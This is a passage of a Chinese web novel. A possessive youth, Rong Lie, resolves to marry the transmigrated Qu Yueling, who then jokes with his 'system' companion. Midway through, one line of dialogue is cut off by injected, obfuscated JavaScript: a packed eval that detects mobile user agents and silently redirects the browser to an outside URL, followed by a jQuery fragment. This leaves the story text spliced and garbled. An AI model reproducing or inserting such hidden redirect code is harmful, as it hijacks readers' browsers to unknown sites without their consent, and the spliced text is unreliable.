在这样近乎盲目和狂热的重复中,容冽也悟出了一条至理真义:他该与曲月翎共度余生——就像这段时日,他会每晚守在曲月翎的房里,一直照顾着青年,听着他的呼吸与心跳入眠、醒来、活着和死去。 容冽被自己的设想所打动,他雀跃欣喜的情绪几乎要从每个黏糊的字眼里溢出,化作粘稠细腻的釉浆,包裹住曲月翎,与他一同在烈火中焚烧,被铸成传世瓷品玉器,一同生、一同死,哪怕粉身碎骨也不会分离。 不过容冽并不知道,该怎样将如此复杂深刻的感情传达给曲月翎。 他心想:凡尘俗世之中,人与人最深的羁绊莫过于亲缘,虽然他一直唤曲月翎“哥哥”,然而他和曲月翎并无血脉相连,他便只能选择稍次一级的关系,将自己和阿翎哥哥绑在一起了。 比如:夫妻关系。 容冽情难自抑,明明从很早之前就不再会落泪的他,在这刹那眼眶竟酸涩鼓胀,视线也渐渐模糊。 “哥哥不是女子,就不能嫁给我做妻子了吗?”容冽满目热切,口吻渴求,“是哥哥的话,即使是男子我也……” 他的话没说完,曲月翎又笑了一下,还笑出了声:“冽儿,你太好笑了。” 容冽身形顿住,仿佛被一盆冷水兜头浇下,再丢进寒冬腊月的雪地里般不能动弹。 可是他头顶没有冷水,只有碧绿刺眼的帷幔纱帐,那帐子恍若一顶巨大的绿帽将他罩住,逼着容冽无法离开,听他心中认定的此生挚爱,未来妻子说:“我是男子,我肯定就嫁给梁怀徽了啊,我现在不就是他的‘越妃’吗?” “……” 容冽默默攥紧拳——他的妻子怎么就已经别人的妻子了? 不,甚至都不是妻,是妾! 容冽深深吸气,平复心绪,告诉自己没事没事,要耐心些,梁怀徽年纪大,死的比自己早、曲月翎迟早会……有事,很有事,容冽耐心不了一点。 他忍耐了几个呼吸,心中就只剩下八个大字:夺妻之恨,不共戴天。 但他现在还没有能力复仇,所以他必须忍耐。 容冽扯扯嘴角,勾起一抹假笑,当着青年的面上眼药说:“是啊,梁怀徽妃子那么多,今日一个,明日一个,我都快忘了哥哥也是他的男妃。” “忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709662|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了好忘了好。”曲月翎摆摆手,“我自己都不是很想记得这件事。” 容冽试探性着问:“哥哥这么说,是因为……不喜欢梁怀徽吗?” 曲月翎当然不喜欢梁怀徽啊,不过曲月翎自诩为一个很有自我修养的穿书者,是会竭力避免崩坏人设这种事情发生的,因为他不知道人设崩了会不会影响后续剧情。 所以曲月翎只说:“你还是个孩子,大人之间的感情,我说了你也不会懂的。” “而且你现在最要紧的事,是回藩客馆休息睡觉。”说着,曲月翎又摸了摸容冽的脑袋,“哥哥是真怕你长不高。” 容冽:“……” “……我知道了,哥哥。”纵然心中有再多不愿,容冽眼下也必须得离开他未来妻子和妻子现任夫君的床,给曲月翎重新掖好锦被,“我会好好休息睡觉的。” 曲月翎叮嘱他:“如果真的睡不着,记得一定要让御医给你开点中药调理下。” “……好。” 容冽点点头,乖乖走了。 “多好的孩子啊。”曲月翎望着他的背影,和从床底下钻出来的系统感叹,“谁舍得对他不好呢?” 系统照实点评:“除了你好像都挺舍得的。” “但我没有办法一直留在这里,等走完剧情了,我就要回去了。”曲月翎摇头叹气,“而容冽这一生的路还很长,希望在离开前,我能帮他脱离这副皮相的围困吧,这样……即使没有我了,他也能活出自己的风骨。” “宿主你善!”系统钦佩道,“大善!” “马上就不善了。” 曲月翎斜睨系统一眼,恶毒道:“我昏睡了这么几日,你练会后空翻了吗?” 系统变成低马尾,心虚回答:“快了快了……” “靠人不如靠己,靠狗更靠不住。”曲月翎恨铁不成钢地闭眼,“还好我刚刚又想出了一个新招去接近梁初景,能和他多说点儿话。” 系统附耳过去,认真请教:“什么新招?” “是爱。”曲月翎告诉系统,“是我对容冽的父爱。”